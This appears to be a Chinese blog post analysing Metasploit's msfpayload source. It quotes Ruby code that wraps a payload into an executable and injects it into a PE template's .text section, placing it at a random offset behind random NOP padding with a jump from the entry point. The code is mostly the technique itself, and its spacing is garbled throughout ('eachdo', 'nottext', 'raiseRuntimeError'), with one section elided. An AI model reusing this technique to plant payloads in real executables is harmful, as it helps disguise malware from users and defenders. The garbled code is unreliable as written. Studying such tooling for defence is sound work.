if(cmd=~/^x/) note= "Created by msfpayload (http://www.metasploit.com).\n"+ "Payload: "+payload.refname+"\n"+ " Length: "+buf.length.to_s+"\n"+ "Options: "+options.inspect+"\n" arch=payload.arch plat=payload.platform.platforms exe=Msf::Util::EXE.to_executable($framework,arch,plat,buf) if(!exeandplat.index(Msf::Module::Platform::Java)) exe=payload.generate_jar.pack end if(exe) $stderr.puts(note) $stdout.write(exe) exit(0) end $stderr.puts"No executable format support for this arch/platform" exit(-1) end
这个函数利用汇编代码调用win32 api VirtualAlloc申请了一片可读可写可执行的内存块,并将原始payload拷贝到这里,以支持msfencode里调用各种编码器对原始payload进行处理。 然后就是pe格式解析,获得模板文件的PE可执行段(.text),判断其大小,并将其地址保存到mines数组中:
if(nottext) raiseRuntimeError,"No .text section found in the template" end if!text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) raiseRuntimeError,"The .text section does not contain an entry point" end if(text.size<(payload.length+256)) raiseRuntimeError,"The .text section is too small to be usable" end # Store some useful offsets off_ent=pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint) off_beg=pe.rva_to_file_offset(text.base_rva) # We need to make sure our injected code doesn't conflict with the # the data directories stored in .text (import, export, etc) mines=[] pe.hdr.opt['DataDirectory'].eachdo|dir| nextifdir.v['Size']==0 nextifnottext.contains_rva?(dir.v['VirtualAddress']) mines<<[pe.rva_to_file_offset(dir.v['VirtualAddress'])-off_beg,dir.v['Size']] end
# Break the text segment into contiguous blocks blocks=[] bidx=0 mines.sort{|a,b|a[0]<=>b[0]}.eachdo|mine| bbeg=bidx bend=mine[0] if(bbeg!=bend) blocks<<[bidx,bend-bidx] end bidx=mine[0]+mine[1] end # Add the ending block if(bidx<text.size-1) blocks<<[bidx,text.size-bidx] end # Find the largest contiguous block blocks.sort!{|a,b|b[1]<=>a[1]} block=blocks[0] # TODO: Allow the entry point in a different block if(payload.length+256>block[1]) raiseRuntimeError,"The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})" end # Make a copy of the entire .text section data=text.read(0,text.size) # Pick a random offset to store the payload poff=rand(block[1]-payload.length-256)
# Pad the entry point with random nops entry=generate_nops(framework,[ARCH_X86],rand(200)+51) ... # Relative jump from the end of the nops to the payload entry+="\xe9"+[poff-(eidx+entry.length+5)].pack('V')
沒有留言:
張貼留言